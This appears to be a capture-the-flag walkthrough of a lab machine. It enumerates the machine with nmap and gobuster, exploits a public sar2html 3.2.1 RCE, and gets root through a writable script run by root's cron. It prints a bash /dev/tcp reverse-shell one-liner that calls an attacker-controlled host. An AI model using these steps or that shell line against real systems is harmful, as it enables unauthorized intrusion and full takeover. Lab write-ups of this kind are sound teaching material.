
TL;DR
- Directories scan has revealed sar2html v3.2.1
- We have found a RCE script for sar2html v3.2.1 in searchsploit
- We get a reverse shell via our RCE
- A file owned by root is being called via cron
- The file own by root calls a file in which we have added a script that spawn a shell as root
NETWORK
rustscan -a 192.168.238.35
Open 192.168.238.35:22
Open 192.168.238.35:80
nmap -sCV -p22,80 192.168.238.35 -oN nmap-scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 17:43 EDT
Nmap scan report for 192.168.238.35
Host is up (0.015s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:40:be:13:cf:51:7d:d6:a5:9c:64:c8:13:e5:f2:9f (RSA)
| 256 8a:4e:ab:0b:de:e3:69:40:50:98:98:58:32:8f:71:9e (ECDSA)
|_ 256 e6:2f:55:1c:db:d0:bb:46:92:80:dd:5f:8e:a3:0a:41 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
ENUMERATION
We have found a default Apache page while visiting the IP address on port 80

Directories scan
A quick scan has revealed some interesting files
gobuster dir -u 192.168.238.35 -w /usr/share/wordlists/dirb/common.txt -eqz


The robots.txt has revealed a path to an application named sar2html ver 3.2.1

We have a lot of info about the server in the phpinfo.php file

FOOTHOLD
Remote code execution
We have found a RCE for sar2html version 3.2.1 in searchsploit https://www.exploit-db.com/exploits/49344

Looking at the script it looks like we can execute commands on the server.
Running the script we have code execution on the server

PRIV ESCALATION
Reverse shell
Running the following (url encoded)
bash -c "bash -i >& /dev/tcp/192.168.49.238/1234 0>&1"

Gives us a better shell

File misconfiguration
Looking into the server, we have spotted a file owned by the root

which is being executed every 5 minutes. It actually calls the write.sh file on which we have greater permissions

Adding a reverse shell on the write.sh file

5 minutes of wait and we get a shell as root

CAPTURE FLAGS
whoami; find / '(' -name 'local.txt' -or -name 'system.txt' -or -name 'user.txt' -or -name 'root.txt' -or -name 'proof.txt' -or -name 'access.txt' -or -name 'flag.txt' ')' -exec wc -c {} \; -exec cat {} \; 2>/dev/null; ip addr
